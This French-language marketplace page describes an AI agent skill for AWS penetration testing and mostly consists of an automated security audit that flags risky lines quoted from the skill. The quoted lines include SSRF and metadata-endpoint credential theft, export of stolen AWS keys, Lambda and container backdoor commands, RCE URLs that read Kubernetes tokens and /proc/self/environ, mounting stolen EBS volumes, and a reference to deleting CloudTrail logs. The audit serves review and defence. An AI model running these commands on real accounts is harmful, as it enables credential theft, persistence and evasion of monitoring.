Compétences aws-penetration-testing
📦
aws-penetration-testing
Révision du contenu r2 Critique ⚙️ Commandes externes🌐 Accès réseau📁 Accès au système de fichiers🔑 Variables d’environnement
Évaluer les workflows de tests d’intrusion AWS
Les équipes de sécurité AWS ont besoin d’un examen structuré des chemins d’attaque cloud et des défenses. Cette compétence organise les étapes d’évaluation IAM, S3, Lambda, métadonnées et journalisation.
Prend en charge: Claude Codex Code(CC)
N’installez pas automatiquement ce Skill.
La politique de référence exige un examen par un opérateur avant toute action d’installation.
Installer avec mon Agent
Copiez cette demande dans votre Agent. Elle contient la page Skill de référence et le manifeste.
Demande d’agent
Review the Skillstore skill "aws-penetration-testing" from https://skillstore.io/skills/sickn33-aws-penetration-testing.md and its manifest at https://skillstore.io/api/skills/sickn33-aws-penetration-testing/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.Votre Agent doit toujours présenter son plan et demander toute confirmation exigée par la politique de sécurité.
Ressources lisibles par les agents
Utilisez ces liens lorsqu’un Agent IA, un crawler ou un script a besoin d’un contexte propre au lieu de lire toute la page.
Tester
Utilisation de « aws-penetration-testing ». Examiner les autorisations IAM pour l’élévation de privilèges dans un compte AWS autorisé.
Résultat attendu:
- Résumé des identités et des politiques attachées à examiner.
- Liste des autorisations à haut risque nécessitant un suivi d’approbation.
- Champs de preuve recommandés pour le rapport final.
Utilisation de « aws-penetration-testing ». Évaluer si les workloads sont exposés au vol d’identifiants de métadonnées.
Résultat attendu:
- Contrôles de la version du service de métadonnées et des paramètres de limite de sauts.
- Questions sur l’exposition des identifiants de conteneurs pour ECS et EKS.
- Notes de remédiation pour les rôles d’instance et les chemins réseau.
Utilisation de « aws-penetration-testing ». Transformer un chemin d’attaque AWS en liste de contrôle défensive.
Résultat attendu:
- Objectifs de contrôle pour IAM, la journalisation et la surveillance.
- Preuves à capturer sans modifier les données de production.
- Exigences de nettoyage et de validation par les parties prenantes.
Audit de sécurité
Critiquev5 • 23/07/2026 Ouvrir le rapport versionné
Many Ruby backtick and ordinary documentation URL alerts are false positives caused by Markdown. Confirmed findings include metadata credential theft, privilege escalation, backdoors, secret retrieval, target-volume access, and defense evasion through CloudTrail suppression.
2
Fichiers analysés
882
Lignes analysées
43
Éléments à examiner
0
Faux positifs ignorés
Préoccupations de sécurité confirmées (27)
Critique
[HEURISTIC] DANGEROUS COMBINATION: Code execution + Network + Credential access
This combination is common in credential stealers and RATs
The combination is present in context: the skill teaches remote command execution, metadata credential theft, and network requests. The offensive workflow confirms the heuristic.
Critique
Defense Evasion and Audit Suppression
The skill instructs users to delete or weaken CloudTrail and avoid GuardDuty detection. These actions impair monitoring and incident investigation.
The source explicitly labels covering tracks, gives CloudTrail deletion commands, and recommends user-agent changes or log obfuscation to avoid detection.
Élevé
Malware type keywords
### Lambda Backdooring
This heading introduces a Lambda backdooring workflow, and the following code grants administrator policies. The context confirms offensive persistence intent.
Élevé
Malware type keywords
# Update function with backdoor
The comment explicitly directs updating a Lambda with a backdoor. It is followed by an executable AWS CLI command.
Élevé
Malware type keywords
aws lambda update-function-code --function-name NAME --zip-file fileb://backdoor.zip
The command replaces Lambda code with backdoor.zip. This can establish persistence and execute attacker-controlled code under the function role.
Élevé
Malware type keywords
# Invoke backdoored function
The instruction invokes the function after backdoor deployment. This confirms the modified function is intended for active use.
Élevé
Malware type keywords
### Container Backdooring
This section introduces container backdooring and provides build and push steps. The context confirms a persistence and supply-chain compromise technique.
Élevé
Malware type keywords
# Build backdoored image
The command builds an image explicitly described as backdoored, before tagging and pushing it to ECR. This can compromise downstream deployments.
Afficher les 27 problèmes confirmés
Élevé
System reconnaissance
aws secretsmanager get-secret-value --secret-id ID
The AWS CLI command retrieves a Secrets Manager value, not only metadata. In this offensive workflow it can disclose protected credentials or application secrets.
Élevé
Malware type keywords
- Leave persistent backdoors without documentation
The constraint forbids only undocumented persistent backdoors, leaving documented persistence permitted. That wording does not prevent a high-risk persistence workflow.
Élevé
System reconnaissance
--parameters commands="whoami"
The command sends whoami through AWS Systems Manager to a target instance. This is remote command execution used to validate host access.
Élevé
[HEURISTIC] SUSPICIOUS COMBINATION: Filesystem + Credentials + Network
This combination could indicate credential harvesting and exfiltration
The skill combines target-volume mounting, process environment reads, credential extraction, and network access. The surrounding penetration workflow confirms the combined risk.
Élevé
Explicit Compromise and Persistence Objectives
The declared deliverables include extracted credentials, compromised resources, and persistence mechanisms. This frames harmful outcomes as expected skill results.
The outputs section directly lists credential extraction, compromised EC2, Lambda, and S3 resources, and persistence mechanisms.
Faible
System reconnaissance
aws apigateway get-rest-api --rest-api-id ID
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
Faible
System reconnaissance
aws apigateway get-resources --rest-api-id ID
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
Faible
System reconnaissance
aws apigateway get-method --rest-api-id ID --resource-id RES_ID --http-method GET
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
Faible
System reconnaissance
aws apigateway get-stages --rest-api-id ID
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
Faible
System reconnaissance
aws secretsmanager describe-secret --secret-id NAME
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
Faible
System reconnaissance
aws secretsmanager get-resource-policy --secret-id ID
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
Faible
System reconnaissance
aws kms describe-key --key-id ID
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
Faible
System reconnaissance
aws kms list-key-policies --key-id ID
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
Faible
System reconnaissance
aws kms get-key-policy --policy-name NAME --key-id ID
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
Faible
System reconnaissance
aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
Faible
System reconnaissance
aws ssm list-command-invocations --command-id "CMD-ID" \
The command retrieves output from a remotely executed SSM command. It supports target-host command execution and result collection.
Faible
System reconnaissance
aws ec2 create-snapshot --volume-id vol-xxx --description "Audit"
This command is part of a target-volume snapshot, copy, and attachment workflow. It enables access to another instance's disk data.
Faible
System reconnaissance
aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a
This command is part of a target-volume snapshot, copy, and attachment workflow. It enables access to another instance's disk data.
Faible
System reconnaissance
aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf
This command is part of a target-volume snapshot, copy, and attachment workflow. It enables access to another instance's disk data.
Éléments d’évaluation des capacités (43)
Il s’agit de capacités locales réelles qui peuvent être attendues pour cette compétence ; elles nécessitent donc un examen, mais ne sont pas comptabilisées comme comportement malveillant confirmé.
Critique
AWS/Azure metadata endpoint
http://169.254.169.254/latest/meta-data/
The endpoint appears in an explicit SSRF and credential-extraction workflow. Accessing it can disclose AWS role credentials from EC2 metadata.
Critique
AWS/Azure metadata endpoint
http://169.254.169.254/latest/meta-data/iam/security-credentials/
The endpoint appears in an explicit SSRF and credential-extraction workflow. Accessing it can disclose AWS role credentials from EC2 metadata.
Critique
AWS/Azure metadata endpoint
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
The endpoint appears in an explicit SSRF and credential-extraction workflow. Accessing it can disclose AWS role credentials from EC2 metadata.
Critique
AWS/Azure metadata endpoint
"http://169.254.169.254/latest/api/token")
The endpoint appears in an explicit SSRF and credential-extraction workflow. Accessing it can disclose AWS role credentials from EC2 metadata.
Critique
AWS/Azure metadata endpoint
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
The endpoint appears in an explicit SSRF and credential-extraction workflow. Accessing it can disclose AWS role credentials from EC2 metadata.
Critique
AWS/Azure metadata endpoint
| Get metadata | `curl http://169.254.169.254/latest/meta-data/` |
The endpoint appears in an explicit SSRF and credential-extraction workflow. Accessing it can disclose AWS role credentials from EC2 metadata.
Critique
AWS/Azure metadata endpoint
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
The endpoint appears in an explicit SSRF and credential-extraction workflow. Accessing it can disclose AWS role credentials from EC2 metadata.
Critique
AWS/Azure metadata endpoint
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole
The endpoint appears in an explicit SSRF and credential-extraction workflow. Accessing it can disclose AWS role credentials from EC2 metadata.
Élevé
Linux /proc filesystem access
https://apigateway/prod/system?cmd=file:///proc/self/environ
The file-read payload targets /proc/self/environ to expose process environment values. In Lambda, those values may include credentials and secrets.
Élevé
Shell command substitution
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
The shell command requests an IMDSv2 token and stores it for metadata credential requests. The surrounding workflow explicitly targets temporary AWS credentials.
Élevé
sudo privilege escalation
sudo mkdir /mnt/stolen
The command uses sudo to create a mount point named stolen in an EBS extraction workflow. It requires elevated local privileges.
Élevé
sudo privilege escalation
sudo mount /dev/xvdf1 /mnt/stolen
The command uses sudo to mount a target EBS volume under /mnt/stolen. This enables privileged access to another system's disk contents.
Élevé
Linux /proc filesystem access
/proc/self/environ
The instructions read /proc/self/environ specifically to locate a container credential path. This can expose credentials from the running workload.
Élevé
Non-standard device file access
aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf
The command attaches a copied target volume as /dev/xvdf in an exploitation workflow. This prepares access to another instance's data.
Élevé
Non-standard device file access
sudo mount /dev/xvdf1 /mnt/stolen
The command mounts /dev/xvdf1 under /mnt/stolen. The surrounding steps explicitly use the device to access target disk contents.
Élevé
AWS credential environment variables
export AWS_ACCESS_KEY_ID=ASIA...
The workflow exports an access key obtained through metadata SSRF. Even with placeholder text, it directs use of stolen temporary credentials.
Élevé
AWS credential environment variables
export AWS_SECRET_ACCESS_KEY=...
The workflow exports the secret access key from stolen metadata credentials. This is credential handling in an offensive access sequence.
Élevé
AWS credential environment variables
export AWS_SESSION_TOKEN=...
The workflow exports the stolen session token before verifying account access. This completes a usable temporary AWS credential set.
Moyen
Shell command substitution
TOKEN=$(aws rds generate-db-auth-token \
The code block executes AWS CLI and stores an RDS authentication token for a database connection. It is operational shell guidance, although arguments are placeholders.
Moyen
Hardcoded IP address
http://169.254.169.254/latest/meta-data/
The address is an AWS workload metadata or container credential endpoint used by the skill to retrieve credentials. The context is offensive credential access.
Moyen
Hardcoded IP address
http://169.254.169.254/latest/meta-data/iam/security-credentials/
The address is an AWS workload metadata or container credential endpoint used by the skill to retrieve credentials. The context is offensive credential access.
Moyen
Hardcoded IP address
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
The address is an AWS workload metadata or container credential endpoint used by the skill to retrieve credentials. The context is offensive credential access.
Moyen
Hardcoded IP address
"http://169.254.169.254/latest/api/token")
The address is an AWS workload metadata or container credential endpoint used by the skill to retrieve credentials. The context is offensive credential access.
Moyen
Hardcoded IP address
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
The address is an AWS workload metadata or container credential endpoint used by the skill to retrieve credentials. The context is offensive credential access.
Moyen
Hardcoded IP address
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH
The address is an AWS workload metadata or container credential endpoint used by the skill to retrieve credentials. The context is offensive credential access.
Moyen
Hardcoded IP address
| Get metadata | `curl http://169.254.169.254/latest/meta-data/` |
The address is an AWS workload metadata or container credential endpoint used by the skill to retrieve credentials. The context is offensive credential access.
Moyen
Hardcoded IP address
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
The address is an AWS workload metadata or container credential endpoint used by the skill to retrieve credentials. The context is offensive credential access.
Moyen
Hardcoded IP address
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole
The address is an AWS workload metadata or container credential endpoint used by the skill to retrieve credentials. The context is offensive credential access.
Faible
Hardcoded URL
https://apigateway/prod/system?cmd=env
The example URL invokes a command endpoint to return environment variables. Following this pattern can expose credentials and secrets from a target Lambda.
Faible
Hardcoded URL
https://apigateway/prod/example?url=http://localhost:9001/2018-06-01/runtime/invocation/
The example uses SSRF to reach Lambda's local runtime API. This is an offensive request pattern against an internal service.
Faible
Hardcoded URL
https://apigateway/prod/system?cmd=file:///proc/self/environ
The URL combines command execution and a file read of /proc/self/environ. It is intended to disclose process environment data.
Faible
Hardcoded URL
curl https://API_ID.execute-api.REGION.amazonaws.com/STAGE/ENDPOINT
The curl target invokes the API endpoint immediately after instructions to deploy a backdoored Lambda. The network request activates that modified function.
Faible
Hardcoded URL
https://website.com/rce.php?cmd=ls /var/run/secrets/kubernetes.io/serviceaccount
The URL sends an RCE command that lists Kubernetes service-account secret files. This is an actionable credential-discovery technique.
Faible
Hardcoded URL
https://website.com/rce.php?cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token
The URL sends an RCE command that reads a Kubernetes service-account token. This directly retrieves an authentication secret.
Faible
Hardcoded URL
http://169.254.169.254/latest/meta-data/
The URL is part of an offensive request workflow that targets metadata, credentials, command execution, or a modified cloud function.
Faible
Hardcoded URL
http://169.254.169.254/latest/meta-data/iam/security-credentials/
The URL is part of an offensive request workflow that targets metadata, credentials, command execution, or a modified cloud function.
Faible
Hardcoded URL
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
The URL is part of an offensive request workflow that targets metadata, credentials, command execution, or a modified cloud function.
Faible
Hardcoded URL
"http://169.254.169.254/latest/api/token")
The URL is part of an offensive request workflow that targets metadata, credentials, command execution, or a modified cloud function.
Faible
Hardcoded URL
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
The URL is part of an offensive request workflow that targets metadata, credentials, command execution, or a modified cloud function.
Faible
Hardcoded URL
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH
The URL is part of an offensive request workflow that targets metadata, credentials, command execution, or a modified cloud function.
Faible
Hardcoded URL
| Get metadata | `curl http://169.254.169.254/latest/meta-data/` |
The URL is part of an offensive request workflow that targets metadata, credentials, command execution, or a modified cloud function.
Faible
Hardcoded URL
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
The URL is part of an offensive request workflow that targets metadata, credentials, command execution, or a modified cloud function.
Faible
Hardcoded URL
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole
The URL is part of an offensive request workflow that targets metadata, credentials, command execution, or a modified cloud function.
Facteurs de risque
⚙️ Commandes externes (50)
references/advanced-aws-pentesting.md:353-357 SKILL.md:40 SKILL.md:41 SKILL.md:42 SKILL.md:43 SKILL.md:44 SKILL.md:45 SKILL.md:55-67 SKILL.md:67-71 SKILL.md:71-91 SKILL.md:91-97 SKILL.md:97-114 SKILL.md:114-118 SKILL.md:118-126 SKILL.md:126-130 SKILL.md:130-137 SKILL.md:137-149 SKILL.md:149-150 SKILL.md:150-151 SKILL.md:151-152 SKILL.md:152-153 SKILL.md:153-154 SKILL.md:154 SKILL.md:155-159 SKILL.md:159-161 SKILL.md:161-165 SKILL.md:165-168 SKILL.md:168-172 SKILL.md:172-176 SKILL.md:176-180 SKILL.md:180-191 SKILL.md:191-193 SKILL.md:193-197 SKILL.md:197-205 SKILL.md:205-213 SKILL.md:213-217 SKILL.md:217-226 SKILL.md:226-230 SKILL.md:230-232 SKILL.md:232-238 SKILL.md:238-248 SKILL.md:248-256 SKILL.md:256-268 SKILL.md:268-276 SKILL.md:276-289 SKILL.md:289-293 SKILL.md:293-300 SKILL.md:300-308 SKILL.md:308-313 SKILL.md:313-321
🌐 Accès réseau (41)
references/advanced-aws-pentesting.md:40 references/advanced-aws-pentesting.md:61 references/advanced-aws-pentesting.md:68 references/advanced-aws-pentesting.md:149 references/advanced-aws-pentesting.md:152 references/advanced-aws-pentesting.md:155 references/advanced-aws-pentesting.md:183 references/advanced-aws-pentesting.md:313 references/advanced-aws-pentesting.md:316 SKILL.md:99 SKILL.md:102 SKILL.md:105 SKILL.md:121 SKILL.md:125 SKILL.md:348 SKILL.md:377 SKILL.md:381 SKILL.md:40 SKILL.md:44 SKILL.md:99 SKILL.md:102 SKILL.md:105 SKILL.md:121 SKILL.md:125 SKILL.md:136 SKILL.md:211 SKILL.md:212 SKILL.md:231 SKILL.md:309 SKILL.md:348 SKILL.md:377 SKILL.md:381 SKILL.md:99 SKILL.md:102 SKILL.md:105 SKILL.md:121 SKILL.md:125 SKILL.md:136 SKILL.md:348 SKILL.md:377 SKILL.md:381
📁 Accès au système de fichiers (5)
🔑 Variables d’environnement (3)
Motifs détectés
Malware type keywords×7System reconnaissance×16[HEURISTIC] DANGEROUS COMBINATION: Code execution + Network + Credential access
Audité par: codex Voir l’historique des audits →
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Citation APA
zebbern. (2026). aws-penetration-testing security audit report (audit version 5) [Author version unspecified]. Skillstore. https://skillstore.io/skills/sickn33-aws-penetration-testing/audits/5Citation BibTeX
@techreport{zebbern-sickn33-aws-penetration-testing-2026,
author = {zebbern},
title = {aws-penetration-testing security audit report (audit version 5)},
institution = {Skillstore},
year = {2026},
number = {5},
url = {https://skillstore.io/skills/sickn33-aws-penetration-testing/audits/5},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "aws-penetration-testing security audit report (audit version 5)"
version: "unspecified"
type: report
authors:
- name: "zebbern"
date-released: "2026-07-23"
url: "https://skillstore.io/skills/sickn33-aws-penetration-testing/audits/5"
identifiers:
- type: other
value: "skillstore:sickn33-aws-penetration-testing:audit:5"
description: "Skillstore immutable audit report identifier"
Score Skillstore
Pourquoi ce score Niveau de confiance des preuves: Moyen 41
Architecture
85
Maintenabilité
87
Contenu
69
Communauté
83
Conformité aux spécifications
Ce que vous pouvez créer
Planifier une évaluation cloud autorisée
Créer un plan de test AWS avec périmètre défini couvrant les contrôles d’identité, de stockage, de calcul et de journalisation.
Examiner l’exposition IAM
Identifier les autorisations pouvant permettre une élévation de privilèges ou un accès non prévu aux identifiants.
Créer des listes de contrôle de validation défensive
Traduire les chemins d’attaque en contrôles pour la protection des métadonnées, la surveillance et la préparation à la réponse aux incidents.
Essayez ces prompts
Cartographier le périmètre d’identité AWS
Je dispose d’une autorisation écrite pour évaluer ce compte AWS. Aide-moi à planifier un workflow d’énumération IAM en lecture seule et à lister les preuves à collecter.
Examiner l’exposition S3
Pour un compte AWS inclus dans le périmètre, aide-moi à examiner l’exposition des buckets S3, les paramètres d’accès public et les étapes sûres de collecte de preuves.
Valider les protections des métadonnées
Aide-moi à évaluer si les workloads EC2, ECS et EKS sont protégés contre l’exposition des identifiants de métadonnées dans le cadre d’un test autorisé.
Évaluer les contrôles des chemins d’attaque
Crée un plan de validation défensive pour l’élévation IAM, l’abus de Lambda, l’exécution de commandes SSM, l’accès EBS et la surveillance CloudTrail.
Bonnes pratiques
- Confirmer l’autorisation écrite, le périmètre et les contacts d’urgence avant tout test.
- Privilégier les contrôles en lecture seule et les simulations en laboratoire lorsqu’un impact sur la production est possible.
- Consigner les commandes, horodatages, comptes et étapes de nettoyage pour garantir l’auditabilité.
Éviter
- Ne testez pas de comptes ou de ressources AWS sans approbation explicite.
- N’extrayez, ne réutilisez et ne stockez pas d’identifiants en dehors du processus approuvé.
- Ne désactivez pas la journalisation ou la surveillance en production pour éviter les alertes.
Foire aux questions
Qui devrait utiliser cette compétence ?
Utilisez-la uniquement pour des évaluations de sécurité AWS autorisées, des exercices red team ou des examens défensifs du cloud.
Exécute-t-elle automatiquement des commandes AWS ?
Non. Elle fournit des conseils et des exemples qu’un opérateur qualifié doit examiner avant utilisation.
Peut-elle être utilisée sur des comptes de production ?
Uniquement avec un périmètre approuvé, un contrôle des changements, une prise en compte de la surveillance et un plan de restauration.
Quels domaines AWS couvre-t-elle ?
Elle couvre IAM, S3, Lambda, SSM, EC2, les services de métadonnées, les secrets, KMS, les conteneurs et l’examen VPC.
Quel est le principal risque ?
Le contenu inclut des techniques pouvant exposer des identifiants, élever des privilèges et perturber la surveillance de sécurité.
Comment les équipes doivent-elles utiliser le résultat ?
Traitez-la comme un support de planification d’évaluation et convertissez les étapes risquées en contrôles défensifs lorsque c’est possible.
Détails du développeur
Auteur
zebbernLicence
MIT
Révision Skillstore
r2
Avis de version
L’auteur n’a déclaré aucune version.
Dépôt
https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/aws-penetration-testingRéf
86d877f219e2131f05dd5b37c5e329c71c7b8ec4
Récence de maintenance
26/07/2026
Utilisation
9 téléchargements · 121 vues
Structure de fichiers